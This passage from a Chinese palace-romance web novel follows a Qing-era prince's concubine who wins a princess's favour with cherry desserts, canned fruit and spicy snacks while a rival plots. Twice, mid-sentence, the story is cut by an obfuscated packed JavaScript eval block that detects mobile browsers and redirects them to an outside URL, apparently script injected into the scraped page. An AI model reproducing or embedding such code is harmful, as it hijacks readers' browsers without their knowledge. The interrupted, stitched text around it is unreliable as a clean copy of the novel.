“这是糖葫芦?樱桃还能做成糖葫芦?”荣宪公主最先注意到这道菜,拿起一串,主动咬了一口,透明糖衣在日光下亮晶晶的,咔嚓一声便在舌尖融化,“外层酥脆爽口,咬开果肉依旧绵软,御膳房的手艺进步了。” 宜妃冷不丁插嘴道:“这御膳房可做不出来。” 听见这话,荣宪公主好奇地侧头看了过去,太后见状,不高兴地瞪了宜妃一眼,得了暗示的桂嬷嬷小声在荣宪公主耳边悄悄说了几句,荣宪公主恍然大悟,冲胤祺笑了笑:“还是五弟关心我!花了这么多巧思。” 胤祺闻言抬眼,温声笑道:“二姐姐喜欢便好。”幼时他初学汉语,连说话都磕磕绊绊,是二公主耐着性子,一字一句耐心教他,也是二姐姐对他说身为阿哥,要承担起皇子的职责,为大清尽心效力,就是这番话,他才会发奋读书。 几年不见,姐弟情谊丝毫未减,荣宪公主远远地朝胤祺眨了眨眼,胤祺也回之一笑。 听到动静,胤禔和胤礽也看了过来,御膳房的做法万年不变,听说有好吃的,几个小的也趴在桌边到处瞅。 “这是何物?瞧着细白软糯,晶莹剔透,倒和软酪挺像,却能看到里面的樱桃果肉,不知道什么味道。” 雪媚娘一个个圆润饱满,可可爱爱白胖子似的,胤礽有些心动,便让宫女挪开了手边的樱桃软酪。 胤礽让宫女切了一小块,尝过之后,略点了点头:“不错,比软酪有嚼劲,外皮慢慢回弹,奶味十足,里面的樱桃反倒成了点缀,樱桃的酸中和了奶味的甜,回味无穷啊。” 太子都这么说了,胤祉也跟着尝了一个樱桃奶酥,几个小的早馋得就流口水,先前已经吃光了好几盘新鲜樱桃,这会儿都抢着,惹得殿内笑意更甚,就连康熙都好奇地看了好几眼。 见众人对新菜式都赞不绝口,胤祺面上平静,心里却更佩服刘菽圆,怎么寻常可见的樱桃一经她手,都能变出这么多新奇花样来? 胤禔则撇了撇嘴,随手夹了个樱桃派,刚咬了一口便愣住了,御膳房的樱桃馅饼外皮软糯,面皮较薄,馅料放得又多,咬一口就往外掉,和直接尝樱桃没什么区别,可盘里的这个,外皮还能看出有格子花纹,边缘整整齐齐,馅料像长在饼皮似的,一口咬下去,樱桃的汁水还会在嘴里爆开! “好奇特的口感!”他忍不住又夹了一块。 胤禛正小口抿着樱桃绿茶,他虽话少,却也听到了众人的议论,看胤祺的嘴角带着淡淡笑意,便知这几道美食又是出自那位侍妾之手。 他垂下眼眸,指尖轻扣杯沿,状似无意地开口:“五弟呈上的这几道吃食,众位兄弟都很喜欢,可见用心了。” 胤祺冷不丁听到这话,只当胤禛是在赞赏,他微微颔首,谦虚一笑:“起初是想着让二姐姐尝个鲜,大家喜欢便是这些吃食的福气了,何况我也只是借花献佛罢了。” 此时,康熙远远注意到那边的热闹,目光便顺着五公主的方向望了过去:“有什么好吃的?朕也尝尝。” 胤禛敏锐地察觉到,放下茶杯轻叹了一声,随即摇了摇头:“五弟,这般巧思,该好赏赐才是。” “赏赐……”胤祺听出这话另有深意,他身形一顿,默默放回白瓷盏,可指尖却缓慢轻扣桌边,发出清脆的声响。 四哥说得对,若皇阿玛问起,确实要提一嘴刘氏的功劳才是。 * 青芜院里。 刘菽圆正和春芽她们研究樱桃能不能炖排骨吃,就见小全子弓着身,恭恭敬敬地带了个陌生太监进来。 来人气度不凡,虽面白无须,说话却字正腔圆,他对着刘菽圆行了个礼,笑着道:“刘格格,荣宪公主很中意您做的樱桃绿茶,请您去钟粹宫一见。” 16. 第 16 章 第十六章 刘菽圆终于见到了传说中的荣宪公主。 她看着不过二十出头,脸上画着精致的妆容,头戴各种金簪步摇,衣着华丽,整个人典雅大方,十分明艳,尤其那双眼睛,沉静中透着干练,全然没有大学生的那种单纯清澈。 刘菽圆低着头,乖乖跟在引路宫女的身后,轻声慢步地走进殿内,直到上头传来金饰相撞的清脆声响,这才规规矩矩地跪下行礼:“格格刘氏,参见公主。” “起来吧。”公主温柔和善,声音也如黄鹂般悦耳。 言罢,她转向身旁的梁九功,眉眼弯弯,“梁公公,多谢您亲自跑这一趟。”荣宪公主说话时,嘴边一直带着笑,旁边侍奉的嬷嬷立刻会意,上前塞了个金元宝,梁九功低眉恭谨地行礼,“奴才谢公主赏赐。” 荣宪公主轻点了头:“知秋,送公公出去。” 梁九功走后,荣宪公主的视线才移到堂下站着的女子身上。 皇宫里最不缺的就是美人,可刘氏这般模样的倒是少见,不同于浓妆淡抹、穿着华贵的妃嫔娘娘,刘菽圆眉淡如秋水,肤若凝脂,眸光流转间灵动非常,给她一种白梅上晨雾的感觉。 “你呈上的樱桃绿茶,清苦的茶味中带着几丝樱桃的甜,颇为解腻,本公主很喜欢,不知你是怎么做的?” 刘菽圆略一思忖,垂眸回道:“回公主,先将樱桃晒干,再搁些茶叶、冰糖,装进小纱布袋,拿根细细的小绳儿绑好,要喝的时候就把茶包放进去,这样冲泡起来没有茶渣,樱桃和绿茶味儿也足。”说完,她想到如今夏日,还有新的吃法,便又补充道,“等到暑天,用冰水冲泡最是解渴凉爽,若嫌果味儿淡,直接用樱桃汁冻了,做成果味酥山,冰爽里带着果香,味道更妙呢。” “真的?还能这样?” 好吧,刘菽圆心里偷笑,果然是爱吃的大学生。 公主却收回表情,不知想到什么,略微叹了口气:“眼下在京城,自有新鲜的樱桃吃,等回了草原,也只能用些樱桃酒了,再想吃个果子也难了。” 蒙古多炖煮、烧烤,以肉食、奶制品为主,口味厚重,讲究咸香和耐储存,距京城约一千里地,加上随行宫女、厨子,一行人得走一个多月,新鲜樱桃根本送不过去,想来只能用些野果,沙棘、山杏什么的。 虽然有快马运输,也只能用些难储存的苹果和梨,樱桃是送不过来的。 刘菽圆嘴里嘟囔:“那倒也有法子。” “什么法子?” “做成罐头,能放两个月。” 荣宪公主从未听过这个词,身体僵了僵:“那是何物?” 她该怎么和公主解释呢……什么是罐头? “能装一整罐的容器,就叫罐头。”刘菽圆尽量用清朝人能理解的话解释,“类似豆酱、咸菜,放进罐子里密封,隔绝空气。” 一旁的嬷嬷质疑:“和咸菜一样,这不还是果脯?” “不不不,不太一样,不用晒干,直接用新鲜的。”刘菽圆想了想,“取新鲜樱桃,洗净取蒂去核留用,找几个陶瓷罐子洗净,装至七八分满,顶部铺满冰糖,再搁点细白糖加水,盖子拧得紧紧的,不让漏气,上锅蒸一刻钟,等晾凉就能吃,也能放冰窖夏天吃着解暑。” 说罢,刘菽圆还补了一句:“放凉后搁几个月不成问题,除了樱桃,橘子、桃子、葡萄、山楂都能做。” “这倒是个办法,若真做成了,以后公主想吃便能吃到了。”嬷嬷喃喃道,“公主觉得呢?” 荣宪公主冲嬷嬷点了点头,又转头对着刘菽圆说:“你能做出来吗?多久可以?” 这么急? 刘菽圆心里算了算:“明日吧,明日,差不多。” “好。”荣宪公主露出笑意,“本宫赐你令牌,明日等你消息。” * 莫名其妙的,刘菽沅就接了个大订单。 春芽和佩兰看到刘菽圆身后的二十个小瓷罐,嘴巴惊得能塞进一个鸡蛋:“格格,这又是干嘛呢……” 刘菽圆叉起腰笑道:“看不出来吗?咱们这三无小作坊准备开始营业了,要做樱桃罐头,先说好,你俩一个都不准跑。” 做罐头看似简单,实则颇为费事。 樱桃得洗干净,逐个去蒂去籽,瓷瓶要擦得干干净净,每个瓶里得塞十几个樱桃,他们这小作坊刚做完寿司,又开始连轴转,好在胤祺回来了,把他的哈哈珠子都留下给刘菽圆打下手。 “有你们帮忙,天黑之前绝对可以做完,再晾一晚上,明天吃刚刚好。”刘菽圆在院里支起来的小摊前鼓劲,“等会儿走的时候一人带包奶枣,我昨天刚做的。” 哈哈珠子早尝过刘菽圆的手艺,听到这话个个笑得灿烂,干活也更卖力了。 几人的说笑声飘到隔壁绛水院,马佳芸珞扶着玳瑁的手缓缓走到门口,屋外守着的太监听见脚步声,眼皮抬都没抬,显然没把他们放在心上。 “什么声音?这么吵?” “回马格格的话,荣宪公主命刘格格做些吃食,现下青芜院正热闹呢。”小太监不耐烦地说,然后忍不住咽了下口水,往日青芜院做美食,他们这些前院当差的多少也能分点尝尝,偏他被安排了这差事,定是没口福了,他只能舔舔嘴,就当望梅止渴了。 马佳芸珞神色不变,目光慢慢转向青芜院的方向:“荣宪公主不是嫁到蒙古巴林部了吗?这是回京了?” 小太监闻言,不屑地撇了撇嘴,压根没搭理她。 “刘格格做了什么,连荣宪公主都爱吃?”玳瑁不死心,又往前凑了凑,她们被关在这里,想知道外头的动静只能从小太监嘴里套话,在只言片语中拼凑出外面的事情。 可小太监只顾着打哈欠,靠着门框闭目养神,就是不接话,玳瑁怒了:“我问你话呢,你听不见啊!发生什么事了!” “玳瑁。”马佳芸珞轻轻拦住了她,随即褪了手上的镯子,隔着门缝塞了出去。 那玉镯成色好,水头足,一看就值个价钱,小太监眼睛一亮,忙不迭地双手接着,猛地想起来一月之期就要到了,不好对马格格过于怠慢,赶忙挤了个笑脸:“万岁爷举办了场樱桃宴给公主接风,刘格格呈上的几道菜品很合公主心意,所以公主下令让刘格格再做些别的。” 原是如此。 马佳芸珞神情一冷,语气依旧平静:“你去传话,我身子不适,请徐太医过来把个脉。” 自上次马佳芸珞病重之后,胤祺便下令,绛水院若要请太医只管去就是,小太监将玉镯揣在怀里,笑眯眯应了一句,也不多问,便和往常一般,给前头递话去了。 马佳芸珞暗暗握紧了拳,这才没有一个月,刘菽圆先用寿司笼络了阿哥,现在又用樱桃讨好了公主,手里的筹码越来越多,如今自己禁闭将除,必须尽快抓紧机会。 她默默摸向小腹,心想:还是等先怀上胤祺的长子,到时侧福晋的位置一定非她莫属。 * 胤祺练完骑射、看完兵书,回院里沐浴更衣后,看见青芜院还热火朝天地剔着樱桃籽儿,便带着李德禄进来看了看。 按理说樱桃的核藏在里面并不好弄,刘菽圆却直接拿出筷子,一人一根,筷子戳进去一通,核儿就全被通了出去,只留下干干净净的果肉。 “这法子好啊。”胤祺看得出神,刘菽圆擦了把汗,解释道:“膳房的太监们都这么弄,要是有吸管,速度还会更快。” “吸管是什么?”胤祺皱眉,从未听过这东西,刘菽圆惊觉失言,忙找了个借口支开他,“这里人多嘈杂,五爷上课辛苦,青芜院准备了樱桃千层糕和樱桃水,五爷先垫垫肚子吧。” 又是樱桃… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221952|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 胤祺心里莫名涌上一股烦躁。自他进来刘菽圆都没有认真看他一眼,这一盆的樱桃都收拾好了,她便捧起递给佩兰,又从哈哈珠子那儿拿了一筐新的,双手指尖都沾满了红色的果汁。 “有没有别的?”盯着那一筐鲜嫩的樱桃,胤祺语气一沉,“我不想吃樱桃。” “那五爷想吃什么?”刘菽圆习惯地接了一句,手里的筷子不停,又剔出一颗樱桃核。 见她连头都没抬,胤祺觉得心口更闷了:“拌饭、寿司什么都行,就不想吃樱桃。” 这个好办,宫里不是有膳房吗? “那让小全子给您传个膳,您先吃着。” 说话间,刘菽圆就要张嘴叫人了,胤祺赶忙按住了她:“膳房没有你做得香。” 怎么可能? “所有方子我都给周公公了,他的手艺比我强,肯定比我做得好吃。”话音未落,刘菽圆停了一下,忽然反应过来,“五爷是有什么事吗?” “没有啊。”胤祺本想回房温书,走远几步又折了回来,从怀里掏出帕子,亲自给她擦了擦额上的汗。 周围的人都识趣地背过身、低下头。 “多谢、多谢五爷。”刘菽圆耳垂一热,想拒绝又不敢。 胤祺轻笑了下,抬手将她面上垂落的发丝别到耳后,指尖不经意擦过她的耳垂,见她耳尖都红了,温声说道:“你这么费心,是有想要的东西吗?若是有可以和我说。” 想要的东西?那可太多了。 住更大的房子,能自由地宫里宫外来回逛,没那么多烦心事,更重要的是月例银子要和松了手的气球一样涨涨涨涨涨……但这些,只能想一想。 于是她拣了最妥帖的话说:“公主高兴,五爷就高兴,五爷高兴,奴婢自然也高兴。” 胤祺听了这话,表情看着比刚才舒缓了不少:“所以,你是为了我……”在樱桃宴上用心准备也是为了他。 刘菽圆整理着语言,她很想告诉胤祺,自己要赶在酉时三刻前将所有收拾好的樱桃送到御膳房,现在已经二刻过,没有时间陪他说废话了,可终究默默叹了口气。 罢了罢了,衣食父母。 胤祺却望着她弯了嘴角,心想道这刘氏沅认真起来,还挺好看,自她入府,始终不争不抢。别的皇兄后院都是一地鸡毛,侍妾们争风吃醋没有一天安生,可她乖巧懂事,从不要求什么。 别人都想拼命往上爬,唯有她,好像从未想过这些。 望着刘菽圆的侧颜,不知不觉中胤祺就把心里的疑惑问出了声:“你就不想吗?” 这话一出,两人都愣住了。 “想什么?”刘菽圆眨巴着眼睛,一脸无辜,反应过来胤祺还是之前那个问题,她摇了摇头,“奴婢身份低微,一切但凭主子作主。” 刘菽圆低头继续剔果核,其实她听懂胤祺的言外之意了,他以为自己是想给自己挣个前途才这么努力。按他的想法,侍妾服个软,这些不都有了? 不过钱多有钱多的活法,钱少有钱少的活法,咸鱼到哪儿都是咸鱼。 可胤祺并不打算结束这个话题,追问道:“你的想法呢?” “什么想法?” 他今天怎么这么多问题啊! 不知道自己被嫌弃了的胤祺叹了口气:“比如你看到绿豆糕就一定要吃到,看到紫苏炒田螺就会皱眉,一点都不想碰,这样非常明确的‘想要’和‘不想要’,你内心的真实想法是什么?” 她现在的真实想法就是胤祺再问下去,时间绝对就来不及了! 见她沉默,手上剔核的速度却明显快了许多,胤祺像是泄了气,脸上的笑意一下收了回去:“罢了,既然是二姐姐要,你便忙吧,爷去书房了。” 他走了两步,又停下:“还有,这两日的晚膳你自己用吧。” 17. 第 17 章 第十七章 樱桃罐头一做好膳房就给荣宪公主送去了,之后却没了回音,刘菽圆也不知道上头满不满意,起初她还十分忐忑,直到尝了几罐偷偷留下的,觉得味道不错,这才松了口气。至于别的事,渐渐就被她抛之脑后了。 胤祺没有食言,最近几日的晚膳都是刘菽圆一个人用的,没有了领导在旁的尴尬,她吃得格外舒心,连胃口都好了几分,每天和春芽思考明天吃点啥,哪里还顾得上他来没来。 这不,刘菽圆忽然心血来潮,很想吃点辣的。 什么过桥米线加麻加辣,麻到触电那种,还有麻辣小龙虾、烤鱼、火锅、新疆炒米粉、辣条,她通通都想吃,就和有人挠痒痒似的,完全集中不了注意力。 她手里正给鱼和乌龟喂食,心早就飘到九霄云外了。 刘菽圆心里盘算着,她的小厨房再有五六天也就竣工了,那些复杂菜式还是在自己院里做更方便。 零嘴的话,辣条不错,一次性多做些,日常也能解个馋。 “哎呀,我的好格格。”端着方盘的春芽赶忙快走了两步,从刘菽圆手里接过鱼食,然后低下头看向鱼缸,见水面漂浮着零星几颗鱼食,六条金鱼全须全尾地游着,这才松了口气,“佩兰都说了,这些鱼一天喂个两次就足够了,再喂的话会胖的。” 金鱼也会胖? 刘菽圆想象了一下,乐得嘎嘎笑。 “那不就和河豚一样了?”像鼓起来的气球,她笑得肩膀一耸一耸的,“春芽,我又不傻,眼下都入夏了,每天喂一次就够了。”说完,她觉得之前自己就像那些隔代亲的奶奶姥姥一样,总觉得金鱼很饿,见一次必须喂上一次,生怕它们少吃一顿。 现在想想,怪不得她之前养鱼必死呢,这喂法,人也扛不住啊。 “春芽。”刘菽圆手背蹭着乌龟壳,神秘兮兮地问,“你平时喜欢什么口味啊?酸甜苦辣咸,有没有喜欢的菜我听听?” “口味?”春芽认真思考。 “对对对!”见她来了兴致,刘菽圆抱着小乌龟坐在秋千上摇晃起来,“就从酸的开始,每个举一个例子就行。” 知道主子又馋了,春芽也没扫兴,抬头想了想,就伸出手指开始数:“酸萝卜干、糖葫芦、莲子心茶……” “想几个高大上的嘛……”刘菽圆撇了撇嘴,“稍微罕见一点点,比如我之前做得那些,难道我做了那么多还比不上盘咸菜吗?” “当然不是。”春芽紧张地来回摆手,主子心善,每次做什么好吃的都不忘给她尝尝,她哪里有这心思,刘菽圆也就逗逗她,见她头摇得拨浪鼓一样,根本佯装不下去,“噗”地一声直接笑出声来,春芽便也笑了半晌。 等到两人笑够了,春芽继续数:“该哪个了?” 刘菽圆星星眼:“辣,该美味的辣口味了。” “格格做的韩式拌饭,奴婢说不出来,就感觉那个辣酱特别好吃。”春芽说完顿了顿,“还有就是宫保鸡丁!那是四川总督丁大人创的菜式,奴婢之前在内务府尝过一回,味道很好,咸的话……盐水鸭?或者火腿炖甲鱼?” 甲鱼?两人不约而同的望向正在地上爬来爬去的小乌龟。 小乌龟:??? “那这里面你最喜欢的是什么口味?”刘菽圆压低身子,指了指自己的眼睛,又指了指春芽的,“你再猜猜我最喜欢的?” 春芽哪里不知,自是大大方方的说了:“主子最喜欢辣的食物,奴婢也是。” 好姐妹! 刘菽圆笑得合不拢嘴:“我有个新的吃法,辣条!咱们叫膳房做些,就着早膳一起送过来。” 是的,刘菽圆还没用早膳。 昨个后半夜她就热醒了,寝衣整个后背被汗浸得透湿,黏在身上格外难受,躺在床上翻来覆去都没睡着,直到凌晨下了场大雨,借着窗外吹来的凉风她才慢慢睡着。 但没几个时辰天又热了起来。 可要问她这么热的天气,为何还吃辣的?问就是想吃。 春芽当然没听过辣条,但主子吩咐,自己也有口福,就美滋滋地去了前院叫小全子去了。 小全子腿脚麻利,没多久就到了膳房。自上次樱桃宴后,刘菽圆在宫里也算小有名气,人人都知道五阿哥有位侍妾,心灵手巧,会做许多新奇美食。阿哥所的主子们纷纷遣人来膳房找周福海打探,这几日光是打赏都不老少,所以一见到小全子,周福海立刻凑了过来。 “可把你盼来了!刘格格又有什么好法子?快跟咱家说道说道,有没有消暑的?这几日天太热,主子们没胃口吃不下饭,膳房也没辙了,就等着刘格格救命呢。” “周爷爷,主子这回没和我说解暑的,不过爷爷放心,我回去就问格格,爷爷对我恩重如山,我自会孝敬的。”小全子嬉笑着,“格格命我过来传膳,顺便让膳房按方子做这个‘辣条’,一会儿随膳送过去。” 辣条? 周福海接过方子一看,眉头渐渐舒展开来,做法简单,材料也容易得,就是…… “天这么闷热,格格还要吃这辣味的?” 周福海不太理解,但刘菽圆可是他的“摇钱树”,整个膳房的进项都指着她,可得伺候好,所以她提出再苛刻的请求,周福海也会尽力满足。 “好!我知道了。那早膳的话,麻酱凉面、鸡丝拌菠菜、莲蓬豆腐、再来碗绿豆百合汤,清清淡淡,也是格格素日爱吃的。”这样万一辣着了,也能降降火。 小全子应道:“爷爷做主就行了。” * 院里太热,刘菽圆就带着宠物们一同回屋了。 只有她和春芽,刘菽圆便不那么在意形象,换上了单层的芝麻纱氅衣,内搭一件素色的棉质衬衣,瞬间凉快了不少。 她之前一直和祖母生活在乡下,院里种着枣树,屋子也阴凉,进宫之后又去了宁寿宫,太后不喜宫女太监身上有汗味,每年夏天宁寿宫是最不缺冰的,就连她们这些下人的屋子里也放着冰块,一日早晚都得洗澡,身上常是干净的。 没想到这才刚入夏,就把她热成这个样子,也不知道是不是要下雨的缘故? 扇了半天扇子,又开着窗户,刘菽圆静静地躺在床上,片刻后终于没那么燥热了。 “主子,早膳来了。” 春芽利索地摆好,刘菽圆也懒懒地爬起来,看到一盘做好的辣条,直接尝了一口,这辣条虽是米饭做的,却辣中带麻,裹着红油、孜然和芝麻,她瞬间就出汗了。 “天哪,早知道就不做辣条了。” 春芽赶紧端过绿豆汤,刘菽圆咕嘟咕嘟快喝到底,这才松开。 “格格,周公公还给做了其他口味,您刚才用的是麻辣,左边这一叠是酸辣口,右边那碟是甜辣,回味才带咸。”小全子弓着身说完,正打算退下,突然想到周福海的嘱咐,装作不经意地问,“今儿天热,格格看可要做些什么解暑的?” 刘菽圆吸溜了一大口麻酱凉面,凉爽的黄瓜丝配上香气浓郁的麻酱,夏天来这一口可太棒了,可要问她解暑的…… “没有冰块,一时半会儿我还真没什么想法。”她放下筷子嚼了嚼,“不过以前在宁寿宫,小厨房会做绿豆沙、荷叶粥、莲子汤、豌豆黄、还有甜羹,太后娘娘吃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221953|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然是最好的。” 没听到想听的,小全子难免有些失望,却也不好多说什么,悄悄退下了。 “春芽你要不尝尝甜辣的?这个味儿轻。”刘菽圆递过一根,春芽直摇头,眼神却一直没有移开,刘菽圆多次劝说,她终归忍不住诱惑,伸手去接,“格格,奴婢还是尝尝吧。” 春芽咬了小小一口,只觉油润又有嚼劲,起初尝到的是甜丝丝的,咀嚼间一股特殊的香辣味道从舌尖漫开,还带着油香,说不出来哪里特别,但吃完一根竟想继续来一根。 “吃吧吃吧。”刘菽圆吃得额间发丝都黏在了脸上,鼻尖都冒汗,春芽笑她,“格格一个人把那麻辣味的都吃光了,当然热了,一会儿吃完奴婢去打水给您沐浴吧。” 太好了! 刘菽圆虽只是个格格,但也有自己的澡房,吃完饭她在床上躺了阵子,沐浴的东西就备好了,因着天气热,水温不是很高,刘菽圆褪下衣衫,躺进浴盆里顿觉浑身一阵凉爽,舒服地长叹了一声。 “格格的皮肤真好。”春芽羡慕地说,“头发也乌黑锃亮,滑溜溜的,不像奴婢像干草似的。” “等有空,咱们自己做些护发的,给你也养养头发。”刘菽圆进阿哥所之后,春芽是她相处时间最久的人,在她心里早就春芽是她的朋友了,“春芽,和我说说你的身世吧。” “奴婢的身世?”春芽顿了顿,“没什么特别的,和宫里的宫女差不多。十三岁进宫,家里有两个弟弟,爹娘都没什么钱,养不起这么多孩子,一到年龄就把我送进宫了。入宫之后跟着姑姑学习规矩,我没什么一技之长,各方面都不突出,一直在内务府负责洒扫。有一日太监爷爷把我们召集起来,挑了我和玉心姐姐,这才来伺候格格的。” 原是如此。 刘菽圆泼着水玩:“那你姓什么?之前的名字就是春芽吗?” 提到这个,春芽有点不好意思,扭扭了半天才说,声音还越来越小:“奴婢姓郝。” “这姓好!” 郝春芽?好春芽?好蠢呀…… “那我还是叫你春芽吧。”刘菽圆干笑两声。 她这会儿完全不热了,只觉得浑身舒爽,格外舒服,“你这么好的人,本该会分到更好的地方,跟着更有前途的主子,也能挣个好前程,不像现在跟着我,想用点冰都得精打细算。” “怎么会?奴婢觉得这辈子最幸福,最好运的事,就是伺候格格。”春芽这话是真心的,她在宫里从未见过刘菽圆这样的主子,那些内务府的姐妹们现在可羡慕自己了呢,“格格如今和之前不同了,您得了阿哥的青睐,又受了公主的夸奖,内务府不敢怠慢您的,您一定会有冰的。” 这最后一句话怎么听得怪怪的? 刘菽圆琢磨了下她夏天还吃什么解暑,忽然想到路边常有小姑娘摆摊卖各色冰粉,杨枝甘露、生椰拿铁、红糖原味、青提茉莉,里面加着各种配料,凉爽又好看…… “对哦,可以做冰粉。”刘菽圆美美玩着水,“刚才小全子问我,估计是热得不行了,我洗完去午睡一阵子,你就先不用管我了,也打点水洗洗身,等我睡醒,咱们做冰粉吃。” 春芽帮她擦背,犹豫地问:“格格要不要给五爷送一碗?” 心情这么好,干嘛提胤祺呢? 刘菽圆也不知道哪里得罪了他,好几天都没理人了,她挠了挠脸:“送不送吧?”随后又摊了摊手,他不来正好!没人打搅!正清静。 见她这样,春芽叹了口气,想到方才传来的消息,她犹豫地问:“格格,明日马格格的禁足就解除了,您真的不早做打算么……” 18. 第 18 章 第十八章 刘菽圆一向不管别人的闲事,听了这事也只是淡淡应了一句,然后就又摆弄别的去了。 可春芽她们却很紧张,一直关注着绛水院的动静,便是下雨也不敢懈怠。 令人意外的是,马佳芸珞禁足被解后,没有大吵大闹,也没有像被关学校一个月的大学生们一样,报复性地旅游、吃饭、到处玩,反而有了一个新的爱好。 她开始念佛了。 清朝自努尔哈赤时代时期便尊崇佛教,宫里念佛的人不少,皇上、太后……还有胤祺。 所以不难猜到马佳芸珞突然信佛的原因。 手抄的一本本佛经供奉在佛像前,胤祺也注意到了,马佳芸珞一月以来人清减了不少,性子也沉稳许多,主动去书房伺候的次数屈指可数,每每在院里遇到胤祺,她总是微笑着,轻声关心他近日的膳食起居,嘱咐李德禄照顾好五爷身体。 这天胤祺下学后在书房温书,忽然察觉到屋内焚香味道变了,他惯用烟气清透的沉香,今日的除了沉香味道,还有种淡淡的冷冽之气,很是好闻。 “李德禄!” 得了传唤的李德禄立刻掀起帘子进来回话:“奴才在。” “今儿这香不错。” 李德禄笑了笑,眼珠悄悄一转:“这是用晒干的白莲花、白梅磨成粉,加入香中制成的,燃烧时烟气轻盈,散发阵阵花气,夏日最合适不过了。” 胤祺又闭上眼闻了闻,那若隐若现的花香像勾人魂魂似的,让他心里痒痒的。 “爷有几日没在刘氏处歇息了?” 胤祺明着对刘菽圆不甚关心,可这些事情李德禄却门儿清,于是回话道:“有五日了。” “怪不得。”胤祺凑近低头,用手将香风往面前扇了几下,“她饭做得不错,没想到连制香也擅长。” 听了这话,李德禄想解释几句,可胤祺却没给他这个机会,一下起身朝屋外走去:“冷落了她这么久,想来知道错了,走吧,去瞧瞧她。” 胤祺在前面步履匆匆,身后的太监直接跟了一路,领头的正是下午负责看守书房的小太监,他一边跟在胤祺身后,一边冲李德禄眨眼睛,两条眉毛都拧成八字了,像是在问:“怎么办啊李公公?” 李德禄叹了口气,这刘主子刚让身边宫女递了牌子,说身子不方便伺候,五爷这时候去青芜院,岂不是白去一场,眼瞅着就要拐进青芜院,李德禄憋了口气小跑上前:“五爷。” 他身子挡着前路,明显有事不说,胤祺往旁边移了几步,李德禄却不动如山,一直阻挠他过去,胤祺不高兴地蹙起眉:“你干什么?” “五爷……”李德禄颤颤巍巍地说,笑容看着十分勉强,“时辰不早了,刘格格怕是睡了,爷要不去绛水院瞧瞧?” 这个时辰她怎么可能睡?胤祺丝毫不信,敏锐地抓住他刚才那话的重点。 “绛水院?” 以往常有侍妾为让阿哥多来自己院里,给阿哥身边的大太监送银子,以此来了解阿哥的喜好,适当的时候吹吹耳旁风,胤祺以为这句话也是这个原因,立马耷拉下脸,何况马佳芸珞并不是初犯,他本以为马佳氏已经收敛了,谁知每日的修身养性竟全是做戏! 胤祺的脸色越来越难看,李德禄急忙解释:“五爷,您这次真误会马格格了。都怨奴才没和您说明白,其实您书房里的香料,它……它不是刘格格送的,是马格格心疼您读书辛苦,夏日炎热,特地制了给您送来的,还吩咐奴才不必多言是谁做的,五爷闻着舒心便是了。” “她不是不让你说,你怎么还是说出口了?”胤祺冷笑。 李德禄吓得冷汗都出来了,虽说他这位主子是最把他们这些下人当人看的,一些小错能忽略便不罚了,可在一些关键事情上却是不容小觑的。 他急忙说:“五爷这话说的,奴才一直伺候五爷尽心尽力,马格格是您的侍妾,这么做也是为了五爷您的身子好,奴才心疼五爷读书辛劳,见这香确实不错,五爷闻着能解乏,奴才也就安心了,但是奴才心里明镜似的,马格格再怎么样也大不过五爷您啊,您才是奴才的主子。” 听完这句话,胤祺心情大好,他方才又的确误解了马佳芸珞,也有些愧疚。 “罢了,既然刘氏身子不便,爷就去绛水院吧。” 此刻,本应该早些休息的刘菽圆却披着衣衫在床边“嘶哈嘶哈……” “格格……”对面的春芽又被辣着了,双眼通红,一个劲儿抽鼻子,不知道的还以为哭了,她瘪着嘴望着床上的刘菽圆,更是震惊,“您不辣吗?” 交了绣帕子作业的刘菽圆心情大好,戴嬷嬷之前一直管着她的饮食,月信前后更是一口辣都不让吃,这“痛并快乐”的感觉,她早就想试试了! 现在有机会——虽然只能偷偷摸摸,她直接给膳房的周福海递了话:“辣椒要最厉害的!” 可她千算万算,还是小看了这时候的辣椒。 于是,吃红了眼的刘菽圆继续嘴硬道:“谁说这辣条辣的,没味儿啊!我还能再来十根。” 别说十根了,其实她半口都来不了。 “不行了,奴婢感觉这胃都烧得慌,像着火了一样,热腾腾的。”春芽放下手中的辣条,往嘴里塞了几块绿豆糕,看得刘菽圆一愣一愣的。 “你不行就赶紧吃冰粉,那玩意儿降火!”刘菽圆张着嘴,一下一下吐着舌头,也被辣得够呛,春芽这操作把她都给看懵了,绿豆糕干巴巴的,能管用吗? 春芽一口气吃光了一整碗的冰粉,这才活了过来,嘴巴红得和涂了最深色的口脂一样。 刘菽圆又想逗她:“等下次给你做特辣的新疆炒米粉,还有麻油多多的过桥米线,更过瘾!” 还有下次啊……春芽欲哭无泪,含着被辣出的眼泪,和个小苦瓜一样,“格格您来着身子,还是少吃些辣吧。” “不吃了不吃了。”刘菽圆有台阶就下,“要不是你说我都忘了。” 这种情也能忘? 春芽勺子一顿,论吃,还得是她家主子! * 刘菽圆五天前做的樱桃罐头,荣宪公主很喜欢,有了这法子,即便她回到蒙古,也能吃到各种鲜果了。为了感谢她,公主特意命人给她送了好些东西,有蒙古特色旗装、首饰、绿松石手串什么的,还有三大块新鲜羊肉。 首饰倒是其次,羊肉却让刘菽圆笑得合不拢嘴。 蒙古的羊肉嫩滑,又没有膻味,她早就想这一口了,当下便决定今天晚膳吃羊肉泡馍、羊肉串。 她这边高兴地荡秋千,没想到戴嬷嬷还带了个好消息过来。 